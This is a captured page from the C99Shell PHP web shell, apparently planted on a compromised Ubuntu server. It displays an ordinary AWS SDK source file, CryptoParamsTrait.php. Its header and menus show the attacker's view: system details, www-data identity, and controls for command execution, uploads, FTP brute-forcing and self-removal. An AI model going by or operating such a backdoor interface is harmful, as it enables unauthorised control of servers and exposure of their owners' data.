!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-sdk-php/src/S3/Crypto/   drwxr-xr-x
Free 13.04 GB of 57.97 GB (22.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CryptoParamsTrait.php (2.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\S3\Crypto;

use 
Aws\Crypto\MaterialsProvider;
use 
Aws\Crypto\MetadataEnvelope;
use 
Aws\Crypto\MetadataStrategyInterface;

trait 
CryptoParamsTrait
{
    protected function 
getMaterialsProvider(array $args)
    {
        if (
$args['@MaterialsProvider'] instanceof MaterialsProvider) {
            return 
$args['@MaterialsProvider'];
        }

        throw new 
\InvalidArgumentException('An instance of MaterialsProvider'
            
' must be passed in the "MaterialsProvider" field.');
    }

    protected function 
getInstructionFileSuffix(array $args)
    {
        return !empty(
$args['@InstructionFileSuffix'])
            ? 
$args['@InstructionFileSuffix']
            : 
$this->instructionFileSuffix;
    }

    protected function 
determineGetObjectStrategy(
        
$result,
        
$instructionFileSuffix
    
) {
        if (isset(
$result['Metadata'][MetadataEnvelope::CONTENT_KEY_V2_HEADER])) {
            return new 
HeadersMetadataStrategy();
        }

        return new 
InstructionFileMetadataStrategy(
            
$this->client,
            
$instructionFileSuffix
        
);
    }

    protected function 
getMetadataStrategy(array $args$instructionFileSuffix)
    {
        if (!empty(
$args['@MetadataStrategy'])) {
            if (
$args['@MetadataStrategy'] instanceof MetadataStrategyInterface) {
                return 
$args['@MetadataStrategy'];
            }

            if (
is_string($args['@MetadataStrategy'])) {
                switch (
$args['@MetadataStrategy']) {
                    case 
HeadersMetadataStrategy::class:
                        return new 
HeadersMetadataStrategy();
                    case 
InstructionFileMetadataStrategy::class:
                        return new 
InstructionFileMetadataStrategy(
                            
$this->client,
                            
$instructionFileSuffix
                        
);
                    default:
                        throw new 
\InvalidArgumentException('Could not match the'
                            
' specified string in "MetadataStrategy" to a'
                            
' predefined strategy.');
                }
            } else {
                throw new 
\InvalidArgumentException('The metadata strategy that'
                    
' was passed to "MetadataStrategy" was unrecognized.');
            }
        } elseif (
$instructionFileSuffix) {
            return new 
InstructionFileMetadataStrategy(
                
$this->client,
                
$instructionFileSuffix
            
);
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--